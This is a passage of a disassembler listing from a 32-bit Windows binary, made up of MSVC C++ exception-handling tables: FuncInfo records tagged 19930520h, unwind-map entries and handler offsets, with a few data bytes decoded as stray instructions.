3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438C0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_443908 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436BD4+62h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch dd 0Eh, 43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh dd 0 dd offset loc_439499 dd 0 dd offset loc_4394A4 dd 0 dd offset loc_4394B2 dd 0 ; --------------------------------------------------------------------------- rcl byte ptr [ebx+eax*2+1A00h], 0 retf ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 1Bh, 4394D6h, 0 dd offset loc_4394E1 dd 1Dh, 4394ECh, 0 dd offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset 